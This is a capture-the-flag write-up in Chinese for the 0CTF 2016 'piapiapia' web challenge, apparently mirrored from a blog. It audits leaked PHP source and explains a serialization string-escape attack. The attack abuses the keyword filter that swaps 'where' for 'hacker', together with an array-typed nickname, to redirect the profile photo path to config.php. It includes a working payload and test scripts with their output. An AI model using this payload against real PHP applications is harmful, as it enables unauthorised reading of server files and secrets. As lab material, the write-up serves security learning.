zoukankan      html  css  js  c++  java
  • [0CTF 2016]piapiapia

    [0CTF 2016]piapiapia

    1.审题

    进入登录页面,简单的sql注入无效,可能是过滤了大部分的注入字符

    dirsearch扫描一下,发现源码泄漏,www.zip

    下载,源码审计

    2.源码审计

    config.php

    <?php
    	$config['hostname'] = '127.0.0.1';
    	$config['username'] = 'root';
    	$config['password'] = '';
    	$config['database'] = '';
    	$flag = '';
    ?>
    
    

    猜测flag在这个文件中,我们要有一个意识:这是我们下载下来的源码,并非真正的服务端运行的源码,本地搭建做题环境时要改成自己的用户名、密码之类,在服务端docker的主机里,$flag变量应该存的就是我们要的flag。

    register.php

    <?php
    	require_once('class.php');
    	if($_POST['username'] && $_POST['password']) {
    		$username = $_POST['username'];
    		$password = $_POST['password'];
    
    		if(strlen($username) < 3 or strlen($username) > 16) 
    			die('Invalid user name');
    
    		if(strlen($password) < 3 or strlen($password) > 16) 
    			die('Invalid password');
    		if(!$user->is_exists($username)) {
    			$user->register($username, $password);
    			echo 'Register OK!<a href="index.php">Please Login</a>';		
    		}
    		else {
    			die('User name Already Exists');
    		}
    	}
    	else {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
       <title>Login</title>
       <link href="static/bootstrap.min.css" rel="stylesheet">
       <script src="static/jquery.min.js"></script>
       <script src="static/bootstrap.min.js"></script>
    </head>
    <body>
    	<div class="container" style="margin-top:100px">  
    		<form action="register.php" method="post" class="well" style="220px;margin:0px auto;"> 
    			<img src="static/piapiapia.gif" class="img-memeda " style="180px;margin:0px auto;">
    			<h3>Register</h3>
    			<label>Username:</label>
    			<input type="text" name="username" style="height:30px"class="span3"/>
    			<label>Password:</label>
    			<input type="password" name="password" style="height:30px" class="span3">
    
    			<button type="submit" class="btn btn-primary">REGISTER</button>
    		</form>
    	</div>
    </body>
    </html>
    <?php
    	}
    ?>
    
    

    update.php

    <?php
    	require_once('class.php');
    	if($_SESSION['username'] == null) {
    		die('Login First');	
    	}
    	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
    
    		$username = $_SESSION['username'];
    		if(!preg_match('/^\d{11}$/', $_POST['phone']))
    			die('Invalid phone');
    
    		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
    			die('Invalid email');
    		
    		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    			die('Invalid nickname');
    
    		$file = $_FILES['photo'];
    		if($file['size'] < 5 or $file['size'] > 1000000)
    			die('Photo size error');
    
    		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    		$profile['phone'] = $_POST['phone'];
    		$profile['email'] = $_POST['email'];
    		$profile['nickname'] = $_POST['nickname'];
    		$profile['photo'] = 'upload/' . md5($file['name']);
    
    		$user->update_profile($username, serialize($profile));
    		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    	}
    	else {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
       <title>UPDATE</title>
       <link href="static/bootstrap.min.css" rel="stylesheet">
       <script src="static/jquery.min.js"></script>
       <script src="static/bootstrap.min.js"></script>
    </head>
    <body>
    	<div class="container" style="margin-top:100px">  
    		<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="220px;margin:0px auto;"> 
    			<img src="static/piapiapia.gif" class="img-memeda " style="180px;margin:0px auto;">
    			<h3>Please Update Your Profile</h3>
    			<label>Phone:</label>
    			<input type="text" name="phone" style="height:30px"class="span3"/>
    			<label>Email:</label>
    			<input type="text" name="email" style="height:30px"class="span3"/>
    			<label>Nickname:</label>
    			<input type="text" name="nickname" style="height:30px" class="span3">
    			<label for="file">Photo:</label>
    			<input type="file" name="photo" style="height:30px"class="span3"/>
    			<button type="submit" class="btn btn-primary">UPDATE</button>
    		</form>
    	</div>
    </body>
    </html>
    <?php
    	}
    ?>
    
    

    profile.php

    <?php
    	require_once('class.php');
    	if($_SESSION['username'] == null) {
    		die('Login First');	
    	}
    	$username = $_SESSION['username'];
    	$profile=$user->show_profile($username);
    	if($profile  == null) {
    		header('Location: update.php');
    	}
    	else {
    		$profile = unserialize($profile);
    		$phone = $profile['phone'];
    		$email = $profile['email'];
    		$nickname = $profile['nickname'];
    		$photo = base64_encode(file_get_contents($profile['photo']));
    ?>
    <!DOCTYPE html>
    <html>
    <head>
       <title>Profile</title>
       <link href="static/bootstrap.min.css" rel="stylesheet">
       <script src="static/jquery.min.js"></script>
       <script src="static/bootstrap.min.js"></script>
    </head>
    <body>
    	<div class="container" style="margin-top:100px">  
    		<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="180px;margin:0px auto;">
    		<h3>Hi <?php echo $nickname;?></h3>
    		<label>Phone: <?php echo $phone;?></label>
    		<label>Email: <?php echo $email;?></label>
    	</div>
    </body>
    </html>
    <?php
    	}
    ?>
    
    

    index.php

    <?php
    	require_once('class.php');
    	if($_SESSION['username']) {
    		header('Location: profile.php');
    		exit;
    	}
    	if($_POST['username'] && $_POST['password']) {
    		$username = $_POST['username'];
    		$password = $_POST['password'];
    
    		if(strlen($username) < 3 or strlen($username) > 16) 
    			die('Invalid user name');
    
    		if(strlen($password) < 3 or strlen($password) > 16) 
    			die('Invalid password');
    
    		if($user->login($username, $password)) {
    			$_SESSION['username'] = $username;
    			header('Location: profile.php');
    			exit;	
    		}
    		else {
    			die('Invalid user name or password');
    		}
    	}
    	else {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
       <title>Login</title>
       <link href="static/bootstrap.min.css" rel="stylesheet">
       <script src="static/jquery.min.js"></script>
       <script src="static/bootstrap.min.js"></script>
    </head>
    <body>
    	<div class="container" style="margin-top:100px">  
    		<form action="index.php" method="post" class="well" style="220px;margin:0px auto;"> 
    			<img src="static/piapiapia.gif" class="img-memeda " style="180px;margin:0px auto;">
    			<h3>Login</h3>
    			<label>Username:</label>
    			<input type="text" name="username" style="height:30px"class="span3"/>
    			<label>Password:</label>
    			<input type="password" name="password" style="height:30px" class="span3">
    
    			<button type="submit" class="btn btn-primary">LOGIN</button>
    		</form>
    	</div>
    </body>
    </html>
    <?php
    	}
    ?>
    
    

    class.php

    <?php
    require('config.php');
    
    class user extends mysql{
    	private $table = 'users';
    
    	public function is_exists($username) {
    		$username = parent::filter($username);
    
    		$where = "username = '$username'";
    		return parent::select($this->table, $where);
    	}
    	public function register($username, $password) {
    		$username = parent::filter($username);
    		$password = parent::filter($password);
    
    		$key_list = Array('username', 'password');
    		$value_list = Array($username, md5($password));
    		return parent::insert($this->table, $key_list, $value_list);
    	}
    	public function login($username, $password) {
    		$username = parent::filter($username);
    		$password = parent::filter($password);
    
    		$where = "username = '$username'";
    		$object = parent::select($this->table, $where);
    		if ($object && $object->password === md5($password)) {
    			return true;
    		} else {
    			return false;
    		}
    	}
    	public function show_profile($username) {
    		$username = parent::filter($username);
    
    		$where = "username = '$username'";
    		$object = parent::select($this->table, $where);
    		return $object->profile;
    	}
    	public function update_profile($username, $new_profile) {
    		$username = parent::filter($username);
    		$new_profile = parent::filter($new_profile);
    
    		$where = "username = '$username'";
    		return parent::update($this->table, 'profile', $new_profile, $where);
    	}
    	public function __tostring() {
    		return __class__;
    	}
    }
    
    class mysql {
    	private $link = null;
    
    	public function connect($config) {
    		$this->link = mysql_connect(
    			$config['hostname'],
    			$config['username'], 
    			$config['password']
    		);
    		mysql_select_db($config['database']);
    		mysql_query("SET sql_mode='strict_all_tables'");
    
    		return $this->link;
    	}
    
    	public function select($table, $where, $ret = '*') {
    		$sql = "SELECT $ret FROM $table WHERE $where";
    		$result = mysql_query($sql, $this->link);
    		return mysql_fetch_object($result);
    	}
    
    	public function insert($table, $key_list, $value_list) {
    		$key = implode(',', $key_list);
    		$value = '\'' . implode('\',\'', $value_list) . '\''; 
    		$sql = "INSERT INTO $table ($key) VALUES ($value)";
    		return mysql_query($sql);
    	}
    
    	public function update($table, $key, $value, $where) {
    		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
    		return mysql_query($sql);
    	}
    
    	public function filter($string) {
    		$escape = array('\'', '\\\\');
    		$escape = '/' . implode('|', $escape) . '/';
    		$string = preg_replace($escape, '_', $string);
    
    		$safe = array('select', 'insert', 'update', 'delete', 'where');
    		$safe = '/' . implode('|', $safe) . '/i';
    		return preg_replace($safe, 'hacker', $string);
    	}
    	public function __tostring() {
    		return __class__;
    	}
    }
    session_start();
    $user = new user();
    $user->connect($config);
    
    

    我们的目的是读取config.php

    观察有没有任意文件读取漏洞,发现在profile.php中有这样一段

    <?php
    	require_once('class.php');
    	if($_SESSION['username'] == null) {
    		die('Login First');	
    	}
    	$username = $_SESSION['username'];
    	$profile=$user->show_profile($username);
    	if($profile  == null) {
    		header('Location: update.php');
    	}
    	else {
    		$profile = unserialize($profile);
    		$phone = $profile['phone'];
    		$email = $profile['email'];
    		$nickname = $profile['nickname'];
    		$photo = base64_encode(file_get_contents($profile['photo']));
    ?>
    

    观察profile的入口,在update里

    move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
    		$profile['phone'] = $_POST['phone'];
    		$profile['email'] = $_POST['email'];
    		$profile['nickname'] = $_POST['nickname'];
    		$profile['photo'] = 'upload/' . md5($file['name']);
    
    		$user->update_profile($username, serialize($profile));
    		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    

    这里肯定不能直接对photo进行修改,那就考虑nickname入口,先试着构造下

    <?php
    $profile['phone']='12345678901';
    $profile['email']='for@example.com';
    $profile['nickname']='";s:5:"photo";s:10:"config.php";}';
    $profile['photo']='upload/21232f297a57a5a743894a0e4a801fc3';
    var_dump(serialize($profile));
    ?>
    
    结果
    
    string(187) "a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";s:33:"";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/21232f297a57a5a743894a0e4a801fc3";}"
    

    但是问题是如何让后面的部分s:5:"photo";s:10:"config.php";逃逸

    寻找过滤函数、

    该题对nickname进行两次过滤

    第一次是长度过滤,可以通过数组绕过,但不足以然我们的config.php逃逸

    但是,问题在于,构造的nickname必须是数组形式

    if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    			die('Invalid nickname');
    

    第二次是关键字过滤,看如何利用

    public function filter($string) {
    		$escape = array('\'', '\\\\');
    		$escape = '/' . implode('|', $escape) . '/';
    		$string = preg_replace($escape, '_', $string);
    
    		$safe = array('select', 'insert', 'update', 'delete', 'where');
    		$safe = '/' . implode('|', $safe) . '/i';
    		return preg_replace($safe, 'hacker', $string);
    	}
    

    这里只有where是五个字符,其余均为6字符,替换为hacker六字符,考虑可否通过此处吞掉多余的字符,关于吞字符,可以在我的另一篇博客easy_serialize_php中了解详情

    开始实验,先大致算一下,然后慢慢加减

    错误示例

    <?php
    function filter($string){
        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
    $profile['phone']='12345678901';
    $profile['email']='for@example.com';
    $profile['nickname']='wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}';
    $profile['photo']='upload/21232f297a57a5a743894a0e4a801fc3';
    
    var_dump(filter(serialize($profile)));
    ?>
    

    写入33个where,结果

    string(392) "a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/21232f297a57a5a743894a0e4a801fc3";}"
    

    计算198=33*6构造成功,但是实际没成功,因为nickname没写成数组形式

    正确示范(因为nickname是数组,需要重新构造并且用}闭合,此时为204位,即34个where)

    注意 数组构造后下一个元素前不需要封号where";}s:5:"photo";,非数组则有where";s:5:"photo";

    <?php
    function filter($string){
        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
    $a=array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
    $profile['phone']='12345678901';
    $profile['email']='for@example.com';
    $profile['nickname']=$a;
    $profile['photo']='upload/21232f297a57a5a743894a0e4a801fc3';
    
    var_dump(filter(serialize($profile)));
    

    结果

    string(403) "a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:15:"for@example.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/21232f297a57a5a743894a0e4a801fc3";}"
    

    3.解题

    先注册一个账号,登录

    上传随意一张图

    抓包后修改内容


    解码即可

    参考博客

    http://yqxiaojunjie.com/index.php/archives/171/

    https://blog.csdn.net/crisprx/article/details/104705018/

    https://www.jianshu.com/p/3b44e72444c1

    http://www.mamicode.com/info-detail-2903729.html

    https://blog.csdn.net/zz_Caleb/article/details/96777110

  • 相关阅读:
    python lambda函数的用法
    python 中is 和 ==的区别
    Mongo 聚合函数 $group方法的使用
    mongo聚合
    当mongo数据库报错关于 Failed global initialization:
    python 中字符串的拼接
    python eval()用法报错 SyntaxError: unexpected EOF while parsing
    高性能MySQL(六):选择合适的存储引擎
    高性能MySQL(五):存储引擎
    高性能MySQL(四):多版本并发控制
  • 原文地址:https://www.cnblogs.com/LLeaves/p/12841337.html
Copyright © 2011-2022 走看看